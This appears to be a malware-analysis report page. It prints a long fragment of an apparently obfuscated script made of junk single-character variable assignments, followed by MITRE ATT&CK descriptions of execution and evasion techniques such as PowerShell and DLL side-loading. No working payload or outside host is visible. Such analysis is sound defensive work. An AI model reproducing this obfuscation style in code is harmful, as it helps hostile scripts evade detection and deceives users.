530	nkioovuib = "W";
531	nkioovuib = "a";
532	nkioovuib = "o";
533	nkioovuib = "V";
534	nkioovuib = "R";
535	nkioovuib = "J";
536	nkioovuib = "q";
537	nkioovuib = "e";
538	nkioovuib = "x";
539	nkioovuib = "I";
540	nkioovuib = "T";
541	nkioovuib = "j";
542	nkioovuib = "Y";
543	nkioovuib = "M";
544	nkioovuib = "k";
545	nkioovuib = "D";
546	nkioovuib = "E";
547	nkioovuib = "N";
548	nkioovuib = "G";
549	nkioovuib = "p";
550	nkioovuib = "M";
551	nkioovuib = "E";
552	nkioovuib = "e";
553	nkioovuib = "Y";
554	nkioovuib = "H";
555	nkioovuib = "i";
556	nkioovuib = "U";
557	nkioovuib = "F";
558	nkioovuib = "V";
559	nkioovuib = "t";
560	nkioovuib = "l";
561	nkioovuib = "g";
562	nkioovuib = "k";
563	nkioovuib = "d";
564	nkioovuib = "t";
565	nkioovuib = "c";
566	nkioovuib = "X";
567	nkioovuib = "H";
568	yrljgbj = "f";
569	yrljgbj = "U";
570	yrljgbj = "Q";
571	yrljgbj = "t";
572	yrljgbj = "i";
573	yrljgbj = "S";
574	yrljgbj = "q";
575	yrljgbj = "I";
576	yrljgbj = "c";
577	tcowshg = "h";
578	tcowshg = "Y";
579	tcowshg = "D";
580	tcowshg = "k";
581	tcowshg = "I";
582	tcowshg = "f";
583	tcowshg = "S";
584	tcowshg = "y";
585	tcowshg = "E";
586	tcowshg = "N";
587	tcowshg = "e";
588	tcowshg = "g";
589	tcowshg = "r";
590	tcowshg = "I";
591	tcowshg = "B";
592	tcowshg = "c";
593	tcowshg = "b";
594	tcowshg = "w";
595	tcowshg = "T";
596	tcowshg = "l";
597	tcowshg = "f";
598	tcowshg = "r";
599	tcowshg = "k";
600	tcowshg = "L";
601	tcowshg = "B";
602	tcowshg = "L";
603	tcowshg = "l";
604	tcowshg = "D";
605	tcowshg = "l";
606	tcowshg = "M";
607	tcowshg = "y";
608	tcowshg = "I";
609	tcowshg = "-";
610	tebghk = "h";
611	tebghk = "i";
612	tebghk = "z";
613	tebghk = "R";
614	tebghk = "X";
615	tebghk = ".";
616	wqerxzck = "k";
617	wqerxzck = "O";
618	wqerxzck = "f";
619	wqerxzck = "x";
620	wqerxzck = "Q";
621	wqerxzck = "d";
622	wqerxzck = "m";
623	wqerxzck = "I";
624	wqerxzck = "r";
625	wqerxzck = "c";
626	wqerxzck = "c";
627	wqerxzck = "J";
628	wqerxzck = "R";
629	wqerxzck = "K";
630	wqerxzck = "I";
631	wqerxzck = "G";
632	wqerxzck = "j";
633	wqerxzck = "I";
634	wqerxzck = "r";
635	wqerxzck = "A";
636	wqerxzck = "j";
637	wqerxzck = "r";
638	wqerxzck = "U";
639	wqerxzck = "u";
640	wqerxzck = "E";
641	wqerxzck = "s";
642	wqerxzck = "q";
643	wqerxzck = "Y";
644	wqerxzck = "y";
645	wqerxzck = "B";
646	wqerxzck = "9";
647	cexstw = "m";
648	cexstw = "v";
649	cexstw = "g";
650	cexstw = "J";
651	cexstw = "D";
652	cexstw = "V";
653	cexstw = "Q";
654	cexstw = "z";
655	cexstw = "d";
656	cexstw = "W";
657	cexstw = "h";
658	cexstw = "H";
659	cexstw = "N";
660	cexstw = "j";
661	cexstw = "m";
662	cexstw = "S";
663	cexstw = "I";
664	cexstw = "T";
665	cexstw = "h";
666	cexstw = "o";
667	cexstw = "u";
668	cexstw = "5";
669	ozgpds = "P";
670	ozgpds = "Y";
671	ozgpds = "W";
672	ozgpds = "j";
673	ozgpds = "z";
674	ozgpds = "H";
675	ozgpds = "q";
676	ozgpds = "z";
677	ozgpds = "s";
678	ozgpds = "D";
679	ozgpds = "X";
680	ozgpds = "K";
681	ozgpds = "T";
682	ozgpds = "v";
683	ozgpds = "t";
684	ozgpds = "I";
685	ozgpds = "I";
686	ozgpds = "g";
687	ozgpds = "a";
688	ozgpds = "k";
689	ozgpds = "S";
690	ozgpds = "A";
691	ozgpds = "p";
692	ozgpds = "J";
693	ozgpds = "N";
694	ozgpds = "l";
695	ozgpds = "v";
696	ozgpds = "F";
697	ozgpds = "O";
698	ozgpds = "w";
699	nqlzav = "T";
700	nqlzav = "Q";
701	nqlzav = "J";
702	nqlzav = "V";
703	nqlzav = "K";
704	nqlzav = "q";
705	ytkefzu = "i";
706	ytkefzu = "d";
707	ytkefzu = "N";
708	ytkefzu = "n";
709	ytkefzu = "p";
710	ytkefzu = "n";
711	ytkefzu = "B";
712	ytkefzu = "h";
713	ytkefzu = "H";
714	ytkefzu = "r";
715	ytkefzu = "A";
716	ytkefzu = "d";
717	ytkefzu = "E";
718	ytkefzu = "o";
719	ytkefzu = "P";
720	ytkefzu = "O";
721	ytkefzu = "k";
722	ytkefzu = "L";
723	ytkefzu = "J";
724	ytkefzu = "D";
725	ytkefzu = "G";
726	ytkefzu = "q";
727	ytkefzu = "B";
728	ytkefzu = "q";
729	ytkefzu = "m";
730	ytkefzu = "J";
731	ytkefzu = "v";
732	ytkefzu = "U";
733	ytkefzu = "J";
734	ytkefzu = "Y";
735	ytkefzu = "y";
736	ytkefzu = "e";
737	ytkefzu = "o";
738	ytkefzu = "U";
739	ytkefzu = "t";
740	ytkefzu = "Z";
741	ytkefzu = "U";
742	ytkefzu = "a";
743	ytkefzu = "A";
744	ytkefzu = "e";
745	ytkefzu = "m";
746	ytkefzu = "6";
747	kkfbmzyi = "V";
748	kkfbmzyi = "r";
749	kkfbmzyi = "c";
750	kkfbmzyi = "X";
751	kkfbmzyi = "k";
752	kkfbmzyi = "j";
753	kkfbmzyi = "q";
754	kkfbmzyi = "t";
755	kkfbmzyi = "s";
756	kkfbmzyi = "g";
757	kkfbmzyi = "e";
758	kkfbmzyi = "s";
759	kkfbmzyi = "X";
760	kkfbmzyi = "B";
761	kkfbmzyi = "b";
762	kkfbmzyi = "H";
763	kkfbmzyi = "x";
764	kkfbmzyi = "f";
765	kkfbmzyi = "I";
766	kkfbmzyi = "f";
767	kkfbmzyi = "h";
768	kkfbmzyi = "K";
769	kkfbmzyi = "N";
770	kkfbmzyi = "s";
771	kkfbmzyi = "i";
772	kkfbmzyi = "b";
773	kkfbmzyi = "g";
774	kkfbmzyi = "w";
775	kkfbmzyi = "i";
776	yhnuicof = "Z";
777	yhnuicof = "K";
778	yhnuicof = "G";
779	yhnuicof = "Z";
780	yhnuicof = "r";
781	yhnuicof = "g";
782	yhnuicof = "L";
783	yhnuicof = "l";
784	yhnuicof = "u";
785	yhnuicof = "X";
786	yhnuicof = "V";
787	yhnuicof = "w";
788	yhnuicof = "g";
789	yhnuicof = "g";
790	yhnuicof = "Y";
791	yhnuicof = "L";
792	ocyxmiha = "Y";
793	ocyxmiha = "I";
794	ocyxmiha = "n";
795	ocyxmiha = "s";
796	ocyxmiha = "M";
797	ocyxmiha = "I";
798	ocyxmiha = "v";
799	ocyxmiha = "I";
800	ocyxmiha = "F";
801	ocyxmiha = "m";
802	ocyxmiha = "N";
803	ocyxmiha = "p";
804	ocyxmiha = "M";
805	ocyxmiha = "T";
806	ocyxmiha = "X";
807	ocyxmiha = "o";
808	ocyxmiha = "U";
809	ocyxmiha = "R";
810	ocyxmiha = "U";
811	ocyxmiha = "f";
812	ocyxmiha = "l";
813	ocyxmiha = "S";
814	ocyxmiha = "w";
815	ocyxmiha = "J";
816	ocyxmiha = "X";
817	ocyxmiha = "j";
818	ocyxmiha = "j";
819	aiibo = "J";
820	aiibo = "X";
821	aiibo = "q";
822	aiibo = "o";
823	aiibo = "h";
824	aiibo = "b";
825	aiibo = "K";
826	aiibo = "I";
827	aiibo = "r";
828	aiibo = "y";
829	aiibo = "t";
830	aiibo = "E";
831	aiibo = "i";
832	aiibo = "d";
833	aiibo = "a";
834	aiibo = "b";
835	aiibo = "A";
836	aiibo = "b";
837	aiibo = "S";
838	aiibo = "S";
839	aiibo = "l";
840	aiibo = "H";
841	aiibo = "Z";
842	aiibo = "p";
843	aiibo = "K";
844	aiibo = "B";
845	aiibo = "z";
846	aiibo = "D";
847	aiibo = "C";
848	aiibo = "q";
849	aiibo = "p";
850	aiibo = "r";
851	aiibo = "S";
852	bveep = "H";
853	bveep = "Q";
854	bveep = "U";
855	bveep = "J";
856	bveep = "I";
857	bveep = "X";
858	bveep = "V";
859	bveep = "h";
860	bveep = "H";
861	bveep = "Y";
862	bveep = "C";
863	bveep = "q";
864	bveep = "f";
865	bveep = "v";
866	bveep = "l";
867	bveep = "p";
868	bveep = "i";
869	bveep = "y";
870	bveep = "r";
871	bveep = "d";
872	bveep = "V";
873	bveep = "k";
874	bveep = "K";
875	bveep = "D";
876	bveep = "F";
877	bveep = "Z";
878	bveep = "O";
879	bveep = "Q";
880	bveep = "M";
881	bveep = "f";
882	bveep = "U";
883	bveep = "C";
884	bveep = "&";
885	tpafdg = "Z";
886	tpafdg = "y";
887	tpafdg = "P";
888	tpafdg = "I";
889	tpafdg = "O";
890	tpafdg = "a";
891	tpafdg = "C";
892	tpafdg = "g";
893	tpafdg = "q";
894	tpafdg = "x";
895	tpafdg = "W";
896	tpafdg = "d";
897	tpafdg = "Z";
898	tpafdg = "T";
899	tpafdg = "C";
900	tpafdg = "Z";
901	tpafdg = "Q";
902	tpafdg = "C";
903	tpafdg = "f";
904	tpafdg = "n";
905	xzovgrt = "i";
906	xzovgrt = "c";
907	xzovgrt = "t";
908	xzovgrt = "l";
909	xzovgrt = "D";
910	xzovgrt = "q";
911	xzovgrt = "q";
912	xzovgrt = "q";
913	xzovgrt = "E";
914	xzovgrt = "X";
915	xzovgrt = "D";
916	xzovgrt = "D";
917	xzovgrt = "g";
918	xzovgrt = "H";
919	xzovgrt = "n";
920	xzovgrt = "u";
921	xzovgrt = "Q";
922	xzovgrt = "k";
923	xzovgrt = "r";
924	xzovgrt = "D";
925	xzovgrt = "L";
926	xzovgrt = "b";
927	xzovgrt = "E";
928	xzovgrt = "Q";
929	xzovgrt = "c";
930	xzovgrt = "R";
931	xzovgrt = "y";
932	xzovgrt = "e";
933	xzovgrt = "p";
934	xzovgrt = "v";
935	xzovgrt = "f";
936	xzovgrt = "S";
937	xzovgrt = "p";
938	xzovgrt = "q";
939	xzovgrt = "S";
940	xzovgrt = "n";
941	xzovgrt = "d";
942	xzovgrt = "k";
943	abwlqk = "T";
944	abwlqk = "e";
945	abwlqk = "z";
946	abwlqk = "b";
947	abwlqk = "b";
948	abwlqk = "O";
949	abwlqk = "b";
950	abwlqk = "B";
951	abwlqk = "g";
952	abwlqk = "F";
953	abwlqk = "N";
954	abwlqk = "H";
955	abwlqk = "C";
956	abwlqk = "l";
957	abwlqk = "R";
958	abwlqk = "q";
959	abwlqk = "g";
960	abwlqk = "i";
961	abwlqk = "J";
962	abwlqk = "D";
963	abwlqk = "i";
964	abwlqk = "I";
965	abwlqk = "g";
966	abwlqk = "w";
967	abwlqk = "t";
968	abwlqk = "Y";
969	abwlqk = "t";
970	abwlqk = "Z";
971	abwlqk = "Y";
972	abwlqk = "y";
973	abwlqk = "C";
974	abwlqk = "s";
975	abwlqk = "r";
976	abwlqk = "m";
977	nkbpxfa = "U";
978	nkbpxfa = "s";
979	nkbpxfa = "Q";
980	nkbpxfa = "D";
981	nkbpxfa = "M";
982	nkbpxfa = "s";
983	nkbpxfa = "U";
984	nkbpxfa = "e";
985	nkbpxfa = "G";
986	nkbpxfa = "C";
987	nkbpxfa = "Y";
988	nkbpxfa = "g";
989	nkbpxfa = "A";
990	nkbpxfa = "n";
991	nkbpxfa = "F";
992	nkbpxfa = "B";
993	nkbpxfa = "z";
994	nkbpxfa = "o";
995	nkbpxfa = "f";
996	nkbpxfa = "q";
997	nkbpxfa = "E";
998	nkbpxfa = "n";
999	nkbpxfa = "X";
1000	nkbpxfa = "r";
1001	qvivn = "M";
1002	qvivn = "j";
1003	qvivn = "j";
1004	qvivn = "g";
1005	qvivn = "A";
1006	qvivn = "E";
1007	qvivn = "x";
1008	qvivn = "X";
1009	qvivn = "v";
1010	qvivn = "l";
1011	qvivn = "T";
1012	qvivn = "K";
1013	qvivn = "n";
1014	qvivn = "i";
1015	qvivn = "R";
1016	qvivn = "p";
1017	qvivn = "n";
1018	qvivn = "h";
1019	qvivn = "b";
1020	qvivn = "B";
1021	qvivn = "4";
1022	mjmwrr = "s";
1023	mjmwrr = "W";
1024	mjmwrr = "m";
1025	mjmwrr = "R";
1026	mjmwrr = "f";
1027	mjmwrr = "R";
1028	mjmwrr = "Z";
1029	mjmwrr = "R";
1030	mjmwrr = "B";
1031	mjmwrr = "F";
1032	mjmwrr = "o";
1033	mjmwrr = "D";
1034	mjmwrr = "z";
1035	mjmwrr = "V";
1036	mjmwrr = "H";
1037	mjmwrr = "K";
1038	mjmwrr = "g";
1039	mjmwrr = "t";
1040	mjmwrr = "I";
1041	mjmwrr = "t";
1042	mjmwrr = "W";
1043	mjmwrr = "W";
1044	mjmwrr = "c";
1045	mjmwrr = "w";
1046	mjmwrr = "C";
1047	mjmwrr = "H";
1048	mjmwrr = "Q";
1049	mjmwrr = "s";
1050	mjmwrr = "D";
1051	mjmwrr = "2";
1052	dqwme = "g";
1053	dqwme = "p";
1054	dqwme = "v";
1055	dqwme = "e";
1056	dqwme = "O";
1057	dqwme = "G";
1058	dqwme = "g";
1059	dqwme = "l";
1060	dqwme = "w";
1061	dqwme = "P";
1062	dqwme = "W";
1063	dqwme = "Z";
1064	dqwme = "Z";
1065	dqwme = "u";
1066	dqwme = "l";
1067	dqwme = "Y";
1068	dqwme = "t";
1069	dqwme = "y";
1070	dqwme = "W";
1071	dqwme = "m";
1072	dqwme = "m";
1073	dqwme = "o";
1074	dqwme = "t";
1075	blpocviys = "D";
1076	blpocviys = "w";
1077	blpocviys = "p";
1078	blpocviys = "H";
1079	blpocviys = "Q";
1080	blpocviys = "c";
1081	blpocviys = "p";
1082	blpocviys = "t";
1083	blpocviys = "F";
1084	blpocviys = "T";
1085	blpocviys = "N";
1086	blpocviys = "K";
1087	blpocviys = "m";
1088	blpocviys = "a";
1089	blpocviys = "D";
1090	blpocviys = "z";
1091	blpocviys = "p";
1092	blpocviys = "r";
1093	blpocviys = "j";
1094	blpocviys = "V";
1095	blpocviys = "r";
1096	blpocviys = "X";
1097	blpocviys = "i";
1098	blpocviys = "W";
1099	blpocviys = "I";
1100	blpocviys = "W";
1101	blpocviys = "j";
1102	blpocviys = "t";
1103	blpocviys = "J";
1104	blpocviys = "M";
1105	blpocviys = "U";
1106	blpocviys = "T";
1107	blpocviys = "S";
1108	blpocviys = "s";
1109	blpocviys = "R";
1110	blpocviys = "s";
1111	blpocviys = "L";
1112	blpocviys = "l";
1113	blpocviys = "z";
1114	blpocviys = "@";
1115	vchqsz = "d";
1116	vchqsz = "c";
1117	vchqsz = "r";
1118	vchqsz = "d";
1119	vchqsz = "C";
1120	vchqsz = "h";
1121	vchqsz = "Z";
1122	vchqsz = "c";
1123	vchqsz = "u";
1124	vchqsz = "t";
1125	vchqsz = "G";
1126	vchqsz = "Y";
1127	vchqsz = "i";
1128	vchqsz = "i";
1129	vchqsz = "U";
1130	vchqsz = "E";
1131	vchqsz = "w";
1132	vchqsz = "h";
1133	vchqsz = "O";
1134	cjeyhr = "o";
1135	cjeyhr = "S";
1136	cjeyhr = "v";
1137	cjeyhr = "n";
1138	cjeyhr = "K";
1139	cjeyhr = "i";
1140	cjeyhr = "U";
1141	cjeyhr = "y";
1142	cjeyhr = "R";
1143	cjeyhr = "v";
1144	wqkazyr = "f";
1145	wqkazyr = "M";
1146	wqkazyr = "T";
1147	wqkazyr = "X";
1148	wqkazyr = "f";
1149	wqkazyr = "r";
1150	wqkazyr = "i";
1151	wqkazyr = "q";
1152	wqkazyr = "w";
1153	wqkazyr = "P";
1154	wqkazyr = "T";
1155	yaekill = "e";
1156	yaekill = "I";
1157	yaekill = "C";
1158	yaekill = "G";
1159	yaekill = "h";
1160	yaekill = "B";
1161	yaekill = "q";
1162	yaekill = "v";
1163	yaekill = "E";
1164	yaekill = "D";
1165	yaekill = "x";
1166	yaekill = "V";
1167	yaekill = "a";
1168	yaekill = "Y";
1169	yaekill = "t";
1170	yaekill = "K";
1171	yaekill = "R";
1172	yaekill = "F";
1173	yaekill = "U";
1174	yaekill = "R";
1175	yaekill = "Z";
1176	yaekill = "b";
1177	yaekill = "v";
1178	yaekill = "u";
1179	yaekill = "d";
1180	yaekill = "x";
1181	yaekill = "p";
1182	ougstux = "l";
1183	ougstux = "w";
1184	ougstux = "o";
1185	ougstux = "p";
1186	ougstux = "N";
1187	ougstux = "n";
1188	ougstux = "b";
1189	ougstux = "s";
1190	ougstux = "X";
1191	ougstux = "o";
1192	ougstux = "l";
1193	ougstux = "Z";
1194	ougstux = "V";
1195	ougstux = "m";
1196	ougstux = "b";
1197	ougstux = "U";
1198	ougstux = "M";
1199	ougstux = "T";
1200	ougstux = "l";
1201	ougstux = "b";
1202	ougstux = "x";
1203	ougstux = "w";
1204	ougstux = "j";
1205	ougstux = "A";
1206	ougstux = "M";
1207	ougstux = "X";
1208	ougstux = "e";
1209	ougstux = "N";
1210	truzy = "K";
1211	truzy = "f";
1212	truzy = "t";
1213	truzy = "J";
1214	truzy = "R";
1215	truzy = "s";
1216	truzy = "C";
1217	truzy = "Y";
1218	truzy = "a";
1219	truzy = "n";
1220	truzy = "u";
1221	truzy = "t";
1222	truzy = "b";
1223	truzy = "G";
1224	truzy = "x";
1225	truzy = "A";
1226	truzy = "m";
1227	truzy = "V";
1228	truzy = "N";
1229	truzy = "x";
1230	truzy = "j";
1231	truzy = "t";
1232	truzy = "P";
1233	truzy = "Y";
1234	truzy = "g";
1235	truzy = "t";
1236	truzy = "u";
1237	truzy = "o";
1238	truzy = "g";
1239	truzy = "K";
1240	truzy = "%";
1241	tmrzqofu = "E";
1242	tmrzqofu = "r";
1243	tmrzqofu = "o";
1244	tmrzqofu = "S";
1245	tmrzqofu = "J";
1246	tmrzqofu = "g";
1247	tmrzqofu = "M";
1248	tmrzqofu = "K";
1249	tmrzqofu = "I";
1250	tmrzqofu = "I";
1251	tmrzqofu = "x";
1252	tmrzqofu = "P";
1253	tmrzqofu = "D";
1254	tmrzqofu = "v";
1255	tmrzqofu = "k";
1256	tmrzqofu = "K";
1257	nepfhasd = "F";
1258	nepfhasd = "R";
1259	nepfhasd = "y";
1260	nepfhasd = "D";
1261	nepfhasd = "i";
1262	nepfhasd = "S";
1263	nepfhasd = "q";
1264	nepfhasd = "c";
1265	nepfhasd = "r";
1266	nepfhasd = "G";
1267	nepfhasd = "x";
1268	nepfhasd = "L";
1269	nepfhasd = "m";
1270	nepfhasd = "r";
1271	nepfhasd = "q";
1272	nepfhasd = "N";
1273	nepfhasd = "V";
1274	nepfhasd = "P";
1275	nepfhasd = "p";
1276	nepfhasd = "Y";
1277	nepfhasd = "h";
1278	nepfhasd = "g";
1279	nepfhasd = "k";
1280	nepfhasd = "M";
1281	nepfhasd = "w";
1282	nepfhasd = "o";
1283	nepfhasd = "M";
1284	nepfhasd = "N";
1285	nepfhasd = "Y";
1286	nepfhasd = "g";
1287	nepfhasd = "A";
1288	nepfhasd = "M";
1289	nepfhasd = "l";
1290	nepfhasd = "h";
1291	dseuigy = "g";
1292	dseuigy = "v";
1293	dseuigy = "G";
1294	dseuigy = "S";
1295	dseuigy = "s";
1296	dseuigy = "h";
1297	dseuigy = "v";
1298	dseuigy = "K";
1299	dseuigy = "T";
1300	dseuigy = "t";
1301	dseuigy = "d";
1302	dseuigy = "t";
1303	dseuigy = "X";
1304	dseuigy = "c";
1305	dseuigy = "s";
1306	dseuigy = "K";
1307	dseuigy = "B";
1308	dseuigy = "o";
1309	dseuigy = "W";
1310	dseuigy = "l";
1311	dseuigy = "e";
1312	dseuigy = "c";
1313	dseuigy = "d";
1314	vapeudun = "Z";
1315	vapeudun = "U";
1316	vapeudun = "k";
1317	vapeudun = "c";
1318	vapeudun = "w";
1319	vapeudun = "Y";
1320	vapeudun = "t";
1321	vapeudun = "T";
1322	vapeudun = "R";
1323	vapeudun = "I";
1324	vapeudun = "K";
1325	vapeudun = "A";
1326	vapeudun = "A";
1327	vapeudun = "U";
1328	vapeudun = "u";
1329	vapeudun = "Q";
1330	vapeudun = "Y";
1331	vapeudun = "Q";
1332	vapeudun = "U";
1333	vapeudun = "R";
1334	vapeudun = "s";
1335	vapeudun = "C";
1336	dboqf = "s";
1337	dboqf = "R";
1338	dboqf = "r";
1339	dboqf = "j";
1340	dboqf = "R";
1341	dboqf = "u";
1342	dboqf = "f";
1343	pmquvgzsp = "l";
1344	mjolu = "o";
1345	mjolu = "j";
1346	mjolu = "r";
1347	mjolu = "E";
1348	mjolu = "y";
1349	mjolu = "o";
1350	mjolu = "q";
1351	mjolu = "Z";
1352	mjolu = "R";
1353	mjolu = "m";
1354	mjolu = "j";
1355	mjolu = "Y";
1356	mjolu = "t";
1357	mjolu = "R";
1358	mjolu = "l";
1359	mjolu = "h";
1360	mjolu = "x";
1361	mjolu = "N";
1362	mjolu = "N";
1363	mjolu = "s";
1364	mjolu = "P";
1365	mjolu = "w";
1366	mjolu = "/";
1367	yrwffbpfc = "L";
1368	yrwffbpfc = "N";
1369	yrwffbpfc = "j";
1370	yrwffbpfc = "a";
1371	yrwffbpfc = "H";
1372	yrwffbpfc = "l";
1373	yrwffbpfc = "s";
1374	yrwffbpfc = "V";
1375	yrwffbpfc = "R";
1376	yrwffbpfc = "U";
1377	yrwffbpfc = "q";
1378	yrwffbpfc = "I";
1379	yrwffbpfc = "a";
1380	yrwffbpfc = "l";
1381	yrwffbpfc = "p";
1382	yrwffbpfc = "E";
1383	yrwffbpfc = "F";
1384	yrwffbpfc = "X";
1385	yrwffbpfc = "k";
1386	yrwffbpfc = "N";
1387	yrwffbpfc = "r";
1388	yrwffbpfc = "d";
1389	yrwffbpfc = "J";
1390	yrwffbpfc = "p";
1391	yrwffbpfc = "Y";
1392	yrwffbpfc = "j";
1393	yrwffbpfc = "U";
1394	yrwffbpfc = "I";
1395	yrwffbpfc = "W";
1396	yrwffbpfc = "t";
1397	yrwffbpfc = "V";
1398	yrwffbpfc = "n";
1399	yrwffbpfc = "S";
1400	yrwffbpfc = "R";
1401	yrwffbpfc = "X";
1402	yrwffbpfc = "B";
1403	yrwffbpfc = "D";
1404	yrwffbpfc = "o";
1405	yrwffbpfc = "g";
1406	yrwffbpfc = "q";
1407	yrwffbpfc = "\"";
1408	ctweue = "J";
1409	ctweue = "f";
1410	ctweue = "u";
1411	ctweue = "B";
1412	ctweue = "g";
1413	ctweue = "k";
1414	ctweue = "L";
1415	ctweue = "U";
1416	ctweue = "O";
1417	ctweue = "Q";
1418	ctweue = "R";
1419	ctweue = "i";
1420	ctweue = "y";
1421	ctweue = "Q";
1422	ctweue = "s";
1423	jhsxa = "F";
1424	jhsxa = "L";
1425	jhsxa = "W";
1426	jhsxa = "H";
1427	jhsxa = "t";
1428	jhsxa = "f";
1429	jhsxa = "A";
1430	jhsxa = "F";
1431	jhsxa = "y";
1432	jhsxa = "S";
1433	jhsxa = "V";
1434	jhsxa = "k";
1435	jhsxa = "r";
1436	jhsxa = "r";
1437	jhsxa = "t";
1438	jhsxa = "l";
1439	jhsxa = "h";
1440	jhsxa = "m";
1441	jhsxa = "X";
1442	jhsxa = "w";
1443	jhsxa = "J";
1444	jhsxa = "v";
1445	jhsxa = "h";
1446	jhsxa = "n";
1447	jhsxa = "y";
1448	jhsxa = "1";
1449	pjsmzw = "x";
1450	pjsmzw = "v";
1451	pjsmzw = "k";
1452	pjsmzw = "K";
1453	pjsmzw = "B";
1454	pjsmzw = "g";
1455	pjsmzw = "w";
1456	pjsmzw = "F";
1457	pjsmzw = "j";
1458	pjsmzw = "e";
1459	wsfrjg = "v";
1460	wsfrjg = "H";
1461	wsfrjg = "V";
1462	wsfrjg = "e";
1463	wsfrjg = "A";
1464	wsfrjg = "m";
1465	wsfrjg = "B";
1466	wsfrjg = "w";
1467	wsfrjg = "D";
1468	wsfrjg = "c";
1469	wsfrjg = "b";
1470	wsfrjg = "K";
1471	wsfrjg = "T";
1472	wsfrjg = "x";
1473	wsfrjg = "Y";
1474	wsfrjg = "g";
1475	wsfrjg = "t";
1476	wsfrjg = "S";
1477	wsfrjg = "v";
1478	wsfrjg = "X";
1479	wsfrjg = "n";
1480	wsfrjg = "w";
1481	wsfrjg = "X";
1482	wsfrjg = "Y";
1483	wsfrjg = "T";
1484	wsfrjg = "U";
1485	wsfrjg = "Z";
1486	wsfrjg = "z";
1487	wsfrjg = "D";
1488	wsfrjg = "Y";
1489	wsfrjg = "h";
1490	wsfrjg = "w";
1491	wsfrjg = "K";
1492	wsfrjg = "Z";
1493	wsfrjg = "x";
1494	wsfrjg = "Z";
1495	wsfrjg = "X";
1496	wsfrjg = "P";
1497	wsfrjg = "Q";
1498	wsfrjg = "K";
1499	wsfrjg = "f";
1500	wsfrjg = "A";
1501	wsfrjg = "Y";
1502	nlreyfpos = "p";
1503	nlreyfpos = "K";
1504	nlreyfpos = "c";
1505	nlreyfpos = "y";
1506	nlreyfpos = "i";
1507	nlreyfpos = "q";
1508	nlreyfpos = "M";
1509	nlreyfpos = "H";
1510	nlreyfpos = "j";
1511	nlreyfpos = "H";
1512	nlreyfpos = "c";
1513	nlreyfpos = "L";
1514	nlreyfpos = "B";
1515	nlreyfpos = "M";
1516	nlreyfpos = "L";
1517	nlreyfpos = "O";
1518	nlreyfpos = "n";
1519	nlreyfpos = "Y";
1520	nlreyfpos = "o";
1521	nlreyfpos = "Y";
1522	nlreyfpos = "L";
1523	nlreyfpos = "w";
1524	nlreyfpos = "R";
1525	nlreyfpos = "r";
1526	nlreyfpos = "x";
1527	nlreyfpos = "q";
1528	nlreyfpos = "g";
1529	cweppxg = "l";
1530	cweppxg = "Q";
1531	cweppxg = "E";
1532	cweppxg = "c";
1533	cweppxg = "x";
1534	cweppxg = "n";
1535	cweppxg = "t";
1536	cweppxg = "O";
1537	cweppxg = "n";
1538	cweppxg = "t";
1539	cweppxg = "Y";
1540	cweppxg = "o";
1541	cweppxg = "U";
1542	cweppxg = "n";
1543	cweppxg = "w";
1544	cweppxg = "x";
1545	cweppxg = "G";
1546	cweppxg = "L";
1547	cweppxg = "B";
1548	cweppxg = "U";
1549	cweppxg = "D";
1550	cweppxg = "p";
1551	cweppxg = "E";
1552	cweppxg = "o";
1553	cweppxg = "A";
1554	cweppxg = "C";
1555	cweppxg = "I";
1556	cweppxg = "U";
1557	cweppxg = "y";
1558	cweppxg = "b";
1559	cweppxg = "V";
1560	cweppxg = "p";
1561	cweppxg = "r";
1562	cweppxg = "F";
1563	cweppxg = "C";
1564	cweppxg = "e";
1565	cweppxg = "H";
1566	cweppxg = "y";
1567	cweppxg = "f";
1568	cweppxg = "V";
1569	cweppxg = "P";
1570	wgrbxuo ( );	wgrbxuo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

